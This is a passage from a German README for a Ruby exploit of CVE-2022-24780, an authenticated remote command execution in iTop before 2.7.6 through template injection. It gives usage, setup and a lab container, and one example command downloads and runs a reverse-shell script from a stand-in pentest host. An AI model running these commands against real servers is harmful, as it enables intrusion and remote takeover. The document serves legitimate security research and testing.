
iTop < 2.7.6 - (Authentifizierte) Remote-Befehlsausführung
iTop < 2.7.6 - (Authenticated) Remote-Befehlsausführung
Exploit für [CVE-2022-24780][CVE-2022-24780].
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
Die vollständige Variante des Exploits verwendet Watir mit einem von Selenium gesteuerten Webbrowser, um einen Benutzer beim Surfen zu emulieren. Dies ist erforderlich, um Benutzerinformationen zu erhalten. Der Exploit injiziert eine SSTI-Nutzlast in einen Unterteil des Formulars, das zum Ändern von Benutzerinformationen im Portal-Benutzerprofil verwendet wird. Während einige Werte hartcodiert oder aus dem HTML abgerufen werden können, werden andere (Telefon, Standort, Funktion) dynamisch über Javascript geladen und in das HTML eingefügt. Damit der Exploit nicht destruktiv ist, muss JavaScript ausgeführt werden, um diese Werte abrufen zu können.
Die leichte Variante des Exploits ist weniger besorgt und setzt einfach zerstörerisch einen Nullwert für einige Benutzerinformationsfelder (Telefon, Standort, Funktion). Allerdings ist diese Variante schneller auszuführen, erfordert weniger Abhängigkeiten, führt kein JavaScript aus und benötigt keine X-Umgebung (Watir benötigt sie, um den Webbrowser auszuführen).
TL;DR: Alles installieren mittels bundle install
Vollständige Variante
Beispiel mit gem:
gem install httpx docopt watir webdrivers
Leichte Variante
Beispiel mit gem:
gem install httpx docopt nokogiri
Es wird nicht empfohlen, Nutzlasten mit doppelten Anführungszeichen (") oder Backslashes (\) zu verwenden, da die Nutzlast in JSON injiziert wird.
Warnung: Dieser Container ist nicht für den Produktionseinsatz geeignet!
Verwendung vbkunin/itop:2.7.4 - source - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
Die Verwundbarkeit wurde von Markus KRELL entdeckt.
Analyse der Verwundbarkeit durch den Entdecker:
ACCEIS fördert oder ermutigt keine illegalen Aktivitäten, alle von diesem Repository bereitgestellten Inhalte dienen ausschließlich Forschungs-, Bildungs- und Bedrohungserkennungszwecken.
Als Sicherheitsauditor (oder jede andere White-Hat-Rolle) möchten Sie einerseits ein Exploit-Skript ausführen, um die praktische Ausnutzbarkeit der theoretischen Verwundbarkeit basierend auf der von Ihnen identifizierten Versionsnummer der Anwendung zu überprüfen, andererseits möchten Sie, dass dies ordnungsgemäß ohne zerstörerische Aktionen durchgeführt wird, damit die Kundenanwendung im gleichen Zustand bleibt, wie Sie sie vorgefunden haben.
Zum Beispiel tritt dieser Exploit auf der Benutzerprofilseite auf, es gibt also ein Formular mit bereits ausgefüllten Informationen des Benutzers: Vorname, Name, Organisations-ID, E-Mail, Telefon, Standort-ID, Funktion, Manager-ID. Damit der Angriff funktioniert, müssen Sie nur die verwundbaren Felder überschreiben und andere mit Nullwerten oder Zufallswerten füllen, falls sie erforderlich sind. Das macht die leichte Variante des Exploits. Aber dabei zerstören Sie die tatsächlichen Informationen für diesen Benutzer, was in einer Testumgebung kein Problem ist, aber in einer Produktionsumgebung ein echtes Problem darstellt. Ein Black Hat kümmert sich nicht darum, aber als White Hat müssen wir die Daten erhalten. Die Lösung besteht darin, die tatsächlichen Daten abzurufen und in unserer POST-Anfrage wiederzuverwenden.
Bei klassischen Webanwendungen müssen Sie oft nur eine POST-Anfrage mit den richtigen Parametern direkt an den verwundbaren Endpunkt richten. Manchmal müssen Sie Sitzungen/Cookies, Weiterleitungen, einige vorherige Zustände, die möglicherweise erforderlich sind, das Abrufen einer ID oder Anti-CSRF-Token handhaben, aber all das bleibt sehr einfach und kann mit so ziemlich jeder HTTP-Bibliothek in jeder Sprache erreicht werden.
Um die tatsächlichen Daten abzurufen, wenn die Daten im Formular stammen von: